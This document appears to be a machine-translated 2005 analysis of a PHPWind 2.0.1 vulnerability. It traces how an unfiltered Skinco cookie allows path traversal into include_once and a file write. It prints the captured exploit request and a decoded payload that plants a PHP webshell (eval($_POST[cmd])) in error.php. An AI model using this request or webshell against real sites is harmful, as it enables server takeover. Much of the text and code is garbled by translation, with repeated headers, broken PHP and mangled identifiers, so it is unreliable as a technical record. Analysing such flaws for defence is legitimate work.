Analysis PHPWIND2.0.1 Vulnerability
Cat && Allyesno
Time: April 17, 2005, early morning.
The cat is passed to me a phpwind2.0.1 vulnerability utilization program, which can be written directly into a Trojan in the directory. How to say, this vulnerability is discovered by PinKeyes, this article aims to analyze the idea of this vulnerability. Until this vulnerability is produced, I am still in the emotion, and the wise touching me in PinKeyes. I understand what I really understand is true. And listen to me slowly:
When the program is running, I caught a package:
Get / phpwind/Job.php?previewjob=preview&d_name=./attachment/set.php&tidwt= Http / 1.1content-type: text / htmlcookie: Skinco = .. / .. / requirements: www.5a609.com:81accept: text / html, * / * user-agent: mozilla / 3.0 (Compatible ; Indeed iphp http / 1.1content-type: text / htmlcookie: Skinco = .. / .. / require / hidden; host: www.5a609.com:81accept: Text / HTML , * / * User-agent: mozilla / 3.0 (Compatible; INDY LIBRARY)
Things in chr () I checked the ASCII character table, get this:
fputs (fopen (./ error.php, w) evAl ($ _ post [cmd]);?>?>
It is obviously written in Error.php, PHP Trojan: EvAl ($ _ post [cmd]);?>.
Therefore, the key is:
Get / phpwind/job.php?previewjob=preview&d_name=./attachment/set.php&tidwt= In the source of $ D_NAME and $ TIDWT. These two things are very important! So I took a PHPWIND 2.0.1 program to see that I thought it was Job.php. Enter Job.php, only find the following code:
Elseif ($ previewjob == 'preview') {
Require_once (r_p.'Require / bbscode.php ');
Require_once (r_p.'Header.php ');
IF (Empty ($ SKIN) $ SKIN = $ db_defaultstyle;
IF (file_exists (r_p. "DATA / STYLE / $ SKIN.PHP")) {
INCLUDE_ONCE ("Data / Style / $ Skin.php");
Ok, I also found $ skin while disappointing, the Job.php file has a: Require_once ("./ Global.php");
Then let's take a look at the $ skin parameters inside global.php:
IF ($ db_refreshtime! = 0) {
IF ('C:'. $ request_uri == $ LastPath && $ Onbbstime <$ db_refreshtime) {
! $ _ Cookie ['WINDUID'] && $ GroupID = 'Guest';
$ Skin = $ Skinco? $ Skinco: $ db_defaultstyle;
Showmsg ("Refresh_Limit");
}
Oh, as long as we define $ Skinco to meet $ Skin! So find $ Skinco, $ Skinco only explains, and there is no filtering:
IF ($ Skinco && File_exists (r_p. "Data / Style / $ Skinco.php")) {
Cookie ('Skinco', $ Skinco);
Haha, it's easy, as long as you exist? This can be implemented as long as it constructs a cookie. Huh? $ Skinco We see where there is. Sure enough, it is inside the bag that is above:
Cookie: Skinco = .. / .. / Require / hidden;
This is more proved that my idea is correct, the wind is turned. I have to admire such a wonderful technique, according to PinKeyes' thinking: It should be like this:
Data / style /../../ Require / Hidden.php
That is ./require/hidden.php.
This is also met in job.php.
IF (file_exists (r_p. "DATA / STYLE / $ SKIN.PHP")) {
INCLUDE_ONCE ("DATA / STYLE / $ SKIN.PHP");
When you come here, let's go to a paragraph, let's go back to think about it. We analyzed so much is PinKeyes to include a file: ./ Require / Hidden.php. This is strange, why is this PinKeyes to include ./require/hidden.php ?/require/hidden.php? Can you use it directly? What kind of file is this hidden.php? Well, the explanation below will give you a satisfactory answer.
I carefully open hidden.php
php! Function_exists ('Readover') && Exit ('Forbidden'); $ newOnline = "<> / t $ FIDWT / T $ TIDWT / T. $ FIDWT / T $ TIDWT / T. GROUPID / T. Wherebbsyou / T $ ACTTIME / T $ UID / T $ Windid / T "; $ newonline = STR_PAD ($ newonline, $ db_olsize)." / n "; $ onlineuser = readover (r_p. $ d_name); if ($ offset = STRPOS) Onlineuser, "/ T". $ WindID. "/ t")) {$ INSELECTFILE = 'N'; $ OFFSET = STRPOS ($ ONLINEUSER, "/ N", $ OFFSET- $ db_olsize); $ OFFSET = 1; / * Membership is not starting to switch pointer * / writeinline (R_P. $ D_NAME, $ NewOnline, $ OFFSET);} elseif ($ OFFSET = STRPOS ($ ONLINEUSER, STR_PAD (', $ db_olsize). "/ N"))) {WriteinLine (R_P. $ D_name, $ newonline, $ offet);} else {WriteOver (r_p. $ D_name, $ newonline, "ab");}?> See here, all the doubts are unlocked!
1. It turns out that there is more
Function_exists ('Readover') && Exit ('Forbidden');
This is not allowed, and the subsequent code will not be executed so I understand that PinKeyes will take advantage of PinKeyes to work with include this file.
2 There iswriteline () in this file, you can write Trojan. $ NEWONLINE just defines $ TIDWT, so the last WriteLine () also writes $ TIDWT.
Write into the set.php of the set.php defined by D_Name. I can write a small Trojan, just make the $ tidwt as encoded: EvAl ($ _ post [cmd]);?> But it may be that PinKeyes is taking into account the things in set.php. So I took care of hard work
fputs (fopen (./ error.php, w) evAl ($ _ post [cmd]);?>?>
Write a simpler Trojan to Error.php! In this way, we have a second package we caught:
Get / phpwind/attachment/set.php http / 1.1
. . . . . . . . .
Postscript: I feel that I have written detective novels is not bad, technology,. . . .